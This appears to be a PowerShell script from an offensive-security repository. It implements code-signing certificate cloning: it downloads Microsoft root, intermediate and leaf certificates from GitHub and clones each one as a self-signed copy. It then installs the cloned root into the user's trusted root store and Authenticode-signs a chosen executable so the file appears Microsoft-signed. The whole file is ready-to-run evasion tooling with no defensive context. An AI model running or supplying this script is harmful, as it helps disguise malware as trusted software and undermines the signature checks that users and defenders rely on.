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| # Technique taken from: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec | |
| # Remeber to set your target file path to $SignThis!! | |
| # Example: $SignThis = "C:\Users\user\Desktop\runme.exe"; Cert-Clone.ps1; | |
| # Setup Cert Store in Reg | |
| $CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' } | |
| # Setup Cert Store on Disk | |
| [system.io.directory]::CreateDirectory("C:\CertStore") | |
| # Download Root Cert | |
| Invoke-WebRequest -Uri "https://raw.githubusercontent.com/ahhh/CloneWars/master/MS_root3.cer" -OutFile "C:\CertStore\msrc.cer" | |
| $MS_Root_Cert = Get-PfxCertificate -FilePath C:\CertStore\msrc.cer | |
| $Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation | |
| # Download PCA Cert | |
| Invoke-WebRequest -Uri "https://raw.githubusercontent.com/ahhh/CloneWars/master/MS_pca3.cer" -OutFile "C:\CertStore\mspca.cer" | |
| $MS_PCA_Cert = Get-PfxCertificate -FilePath C:\CertStore\mspca.cer | |
| $Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation | |
| # Download Leaf Cert | |
| Invoke-WebRequest -Uri "https://raw.githubusercontent.com/ahhh/CloneWars/master/MS_leaf3.cer" -OutFile "C:\CertStore\msleaf.cer" | |
| $MS_Leaf_Cert = Get-PfxCertificate -FilePath C:\CertStore\msleaf.cer | |
| $Cloned_MS_Leaf_Cert = New-SelfSignedCertificate -CloneCert $MS_Leaf_Cert -Signer $Cloned_MS_PCA_Cert @CertStoreLocation | |
| # Import our root Cert | |
| Export-Certificate -Type CERT -FilePath C:\CertStore\msrcc.cer -Cert $Cloned_MS_Root_Cert | |
| Import-Certificate -FilePath C:\CertStore\msrcc.cer -CertStoreLocation Cert:\CurrentUser\Root\ | |
| # Sign target binary | |
| Set-AuthenticodeSignature -Certificate $Cloned_MS_Leaf_Cert -FilePath $SignThis | |
| # Check a Signature | |
| #Get-AuthenticodeSignature -FilePath $SignThis | |
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See https://github.com/ahhh/CloneWars